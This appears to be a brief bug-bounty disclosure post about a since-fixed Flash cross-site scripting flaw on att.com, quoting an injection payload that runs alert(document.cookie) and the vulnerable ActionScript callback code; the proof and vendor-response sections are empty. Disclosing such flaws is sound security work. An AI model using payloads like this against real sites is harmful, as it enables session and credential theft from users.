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FLASH XSS AT ATT.COM [FIX]

I found a Flash XSS at AT&T main domain where an attacker could stealing credentials of users.

Payload: JSAM.flashCompleteHandler);}catch(e) {alert(document.cookie);}//

Flash Vuln Code:
public function videoPlayer_completeHandler(_arg1:VideoEvent):void{ if (ExternalInterface.available){ ExternalInterface.call(completeHandler, ExternalInterface.objectID); } else { trace("JSAM_VideoPlayer cannot call completeHandler because ExternalInterface is not available."); }; }

Proof:


After 2 months AT&T Response:




I hope to be on the top 10 Award :)

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